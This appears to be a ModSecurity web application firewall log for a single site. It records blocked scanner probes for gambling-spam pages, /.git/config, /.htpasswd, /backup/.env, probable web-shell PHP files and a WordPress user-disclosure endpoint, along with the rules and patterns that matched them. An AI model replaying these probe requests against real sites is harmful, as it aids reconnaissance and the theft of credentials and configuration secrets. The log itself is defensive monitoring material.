[Mon May 25 03:38:18.856546 2026] [:error] [pid 9398:tid 9402] [client 193.70.34.35:44842] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahNTquhIu7KstzsCua9tPAAAAMI"]
[Mon May 25 03:38:21.397247 2026] [:error] [pid 9303:tid 9350] [client 193.70.34.35:44846] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahNTrX3bQScbssitjPQLrwAAAFA"]
[Mon May 25 03:38:23.908599 2026] [:error] [pid 9304:tid 9368] [client 193.70.34.35:44856] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahNTr-VEV2qpMC_1UzRJtwAAAIc"]
[Mon May 25 03:38:26.422493 2026] [:error] [pid 9398:tid 9417] [client 193.70.34.35:44868] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahNTsuhIu7KstzsCua9tQQAAAM0"]
[Mon May 25 03:38:28.813796 2026] [:error] [pid 9302:tid 9323] [client 193.70.34.35:48618] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahNTtC1RaFfTSnDQnqEqRgAAABA"]
[Mon May 25 03:38:31.355172 2026] [:error] [pid 9304:tid 9361] [client 193.70.34.35:48628] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahNTt-VEV2qpMC_1UzRJyQAAAIA"]
[Mon May 25 03:38:33.761699 2026] [:error] [pid 9398:tid 9417] [client 193.70.34.35:48632] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahNTuehIu7KstzsCua9tSwAAAM0"]
[Mon May 25 03:38:36.452527 2026] [:error] [pid 9398:tid 9419] [client 193.70.34.35:48642] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahNTvOhIu7KstzsCua9tUwAAAM8"]
[Mon May 25 03:38:38.855989 2026] [:error] [pid 9304:tid 9375] [client 193.70.34.35:57100] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahNTvuVEV2qpMC_1UzRJ8wAAAI4"]
[Mon May 25 03:38:41.376053 2026] [:error] [pid 9304:tid 9382] [client 193.70.34.35:57112] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahNTweVEV2qpMC_1UzRKBAAAAJU"]
[Mon May 25 04:51:54.123713 2026] [:error] [pid 50423:tid 50441] [client 88.151.33.24:33558] [client 88.151.33.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "ahNk6qJWO7En4nKEQ3gQkAAAARA"]
[Mon May 25 04:51:54.297633 2026] [:error] [pid 9398:tid 9407] [client 88.151.33.24:33534] [client 88.151.33.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "ahNk6uhIu7KstzsCua-N8AAAAMc"]
[Mon May 25 05:20:43.074626 2026] [:error] [pid 50423:tid 50440] [client 43.155.140.157:49656] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahNrq6JWO7En4nKEQ3gelAAAAQ8"]
[Mon May 25 05:45:12.778942 2026] [:error] [pid 50423:tid 50425] [client 62.84.185.60:54016] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahNxaKJWO7En4nKEQ3gmFQAAAQA"]
[Mon May 25 05:45:15.401881 2026] [:error] [pid 50423:tid 50429] [client 62.84.185.60:54026] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ahNxa6JWO7En4nKEQ3gmHAAAAQQ"]
[Mon May 25 05:45:18.106069 2026] [:error] [pid 50423:tid 50428] [client 62.84.185.60:54030] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ahNxbqJWO7En4nKEQ3gmIQAAAQM"]
[Mon May 25 05:45:20.801847 2026] [:error] [pid 50423:tid 50427] [client 62.84.185.60:54046] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ahNxcKJWO7En4nKEQ3gmKwAAAQI"]
[Mon May 25 05:45:23.463651 2026] [:error] [pid 50423:tid 50444] [client 62.84.185.60:5728] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ahNxc6JWO7En4nKEQ3gmMAAAARM"]
[Mon May 25 05:45:25.949661 2026] [:error] [pid 50423:tid 50428] [client 62.84.185.60:5730] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahNxdaJWO7En4nKEQ3gmNQAAAQM"]
[Mon May 25 05:45:28.390324 2026] [:error] [pid 9304:tid 9362] [client 62.84.185.60:5742] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ahNxeOVEV2qpMC_1UzRyPwAAAIE"]
[Mon May 25 05:45:30.844721 2026] [:error] [pid 9398:tid 9407] [client 62.84.185.60:5748] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ahNxeuhIu7KstzsCua-iRQAAAMc"]
[Mon May 25 05:45:33.350040 2026] [:error] [pid 50423:tid 50444] [client 62.84.185.60:15588] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahNxfaJWO7En4nKEQ3gmPQAAARM"]
[Mon May 25 05:45:35.949064 2026] [:error] [pid 50423:tid 50440] [client 62.84.185.60:15602] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahNxf6JWO7En4nKEQ3gmQQAAAQ8"]
[Mon May 25 05:45:38.411024 2026] [:error] [pid 9303:tid 9341] [client 62.84.185.60:15614] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahNxgn3bQScbssitjPQxlwAAAEc"]
[Mon May 25 05:45:41.207881 2026] [:error] [pid 9398:tid 9421] [client 62.84.185.60:15624] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahNxhehIu7KstzsCua-iVgAAANE"]
[Mon May 25 05:45:43.759946 2026] [:error] [pid 9304:tid 9361] [client 62.84.185.60:40558] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahNxh-VEV2qpMC_1UzRyXQAAAIA"]
[Mon May 25 05:45:46.456345 2026] [:error] [pid 9303:tid 9345] [client 62.84.185.60:40572] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahNxin3bQScbssitjPQxpAAAAEs"]
[Mon May 25 05:45:49.062721 2026] [:error] [pid 50423:tid 50449] [client 62.84.185.60:40580] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ahNxjaJWO7En4nKEQ3gnCgAAARg"]
[Mon May 25 05:45:51.502505 2026] [:error] [pid 50423:tid 50444] [client 62.84.185.60:40594] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ahNxj6JWO7En4nKEQ3gnDgAAARM"]
[Mon May 25 06:54:19.589018 2026] [:error] [pid 9398:tid 9421] [client 46.151.182.172:51240] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBm-hIu7KstzsCua-xywAAANE"]
[Mon May 25 06:54:20.876423 2026] [:error] [pid 9302:tid 9330] [client 46.151.182.172:51564] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBnC1RaFfTSnDQnqFXhAAAABc"]
[Mon May 25 06:54:21.505919 2026] [:error] [pid 9302:tid 9319] [client 46.151.182.172:60171] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBnS1RaFfTSnDQnqFXkQAAAAw"]
[Mon May 25 06:54:21.860092 2026] [:error] [pid 9303:tid 9334] [client 46.151.182.172:60945] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBnX3bQScbssitjPQ-rQAAAEA"]
[Mon May 25 06:54:22.099636 2026] [:error] [pid 9302:tid 9312] [client 46.151.182.172:55565] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBni1RaFfTSnDQnqFXqAAAAAU"]
[Mon May 25 06:54:22.687302 2026] [:error] [pid 9304:tid 9378] [client 46.151.182.172:59681] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBnuVEV2qpMC_1UzSM7AAAAJE"]
[Mon May 25 06:54:22.790431 2026] [:error] [pid 9304:tid 9362] [client 46.151.182.172:60945] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBnuVEV2qpMC_1UzSM8AAAAIE"]
[Mon May 25 06:54:23.229082 2026] [:error] [pid 9304:tid 9381] [client 46.151.182.172:49699] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBn-VEV2qpMC_1UzSNBQAAAJQ"]
[Mon May 25 06:54:23.750462 2026] [:error] [pid 9304:tid 9380] [client 46.151.182.172:54582] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBn-VEV2qpMC_1UzSNFAAAAJM"]
[Mon May 25 06:54:24.296887 2026] [:error] [pid 9303:tid 9342] [client 46.151.182.172:65416] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOBoH3bQScbssitjPQ-vwAAAEg"]
[Mon May 25 07:09:24.557769 2026] [:error] [pid 9398:tid 9404] [client 104.28.214.122:38504] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ms-themes.php"] [unique_id "ahOFJOhIu7KstzsCua-3RgAAAMQ"]
[Mon May 25 07:09:25.003883 2026] [:error] [pid 9303:tid 9334] [client 104.28.214.122:20374] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "ahOFJX3bQScbssitjPRD8wAAAEA"]
[Mon May 25 07:09:25.455158 2026] [:error] [pid 9398:tid 9416] [client 104.28.214.122:20443] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ahOFJehIu7KstzsCua-3UAAAAMw"]
[Mon May 25 07:09:27.675769 2026] [:error] [pid 9302:tid 9320] [client 104.28.214.122:20254] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "ahOFJy1RaFfTSnDQnqFbtgAAAA0"]
[Mon May 25 07:09:28.128647 2026] [:error] [pid 9303:tid 9342] [client 104.28.214.122:20375] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ahOFKH3bQScbssitjPREEgAAAEg"]
[Mon May 25 07:09:28.578482 2026] [:error] [pid 9303:tid 9344] [client 104.28.214.122:20451] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "ahOFKH3bQScbssitjPREGgAAAEo"]
[Mon May 25 07:09:36.060105 2026] [:error] [pid 21606:tid 21612] [client 104.28.246.122:55693] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "ahOFMGswdp0RYkH5t9XJzwAAAUQ"]
[Mon May 25 09:02:46.809006 2026] [:error] [pid 62427:tid 62468] [client 43.130.91.95:44060] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahOftvMUa83fc4GDyBz-uQAAAUs"]
[Mon May 25 12:10:43.673310 2026] [:error] [pid 62428:tid 62488] [client 43.166.136.202:49744] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahPLw5NosGBa7mui3VThPwAAAIQ"]
[Mon May 25 13:50:32.316558 2026] [:error] [pid 62426:tid 62433] [client 49.234.192.248:45324] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahPjKEj3D3Mo8ANpTRCvyQAAAAM"]
[Mon May 25 15:43:34.077638 2026] [:error] [pid 62722:tid 62744] [client 46.62.173.211:47708] [client 46.62.173.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahP9pqM6ssnLWYf6CVAXWgAAAFQ"]
[Mon May 25 15:56:22.981368 2026] [:error] [pid 62427:tid 62477] [client 159.89.87.76:38654] [client 159.89.87.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.87.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQApvMUa83fc4GDyBxaCQAAAVQ"]
[Mon May 25 15:56:25.511663 2026] [:error] [pid 62427:tid 62467] [client 159.89.87.76:38654] [client 159.89.87.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.87.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQAqfMUa83fc4GDyBxaDAAAAUo"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 16:43:11.595337 2026] [:error] [pid 3698:tid 3713] [client 43.228.157.67:45098] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.htpasswd"] [unique_id "ahQLnwtZBEwA4fyFLKPFDAAAAQ0"]
[Mon May 25 16:43:11.607585 2026] [:error] [pid 3698:tid 3708] [client 43.228.157.67:45076] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.env"] [unique_id "ahQLnwtZBEwA4fyFLKPFDQAAAQg"]
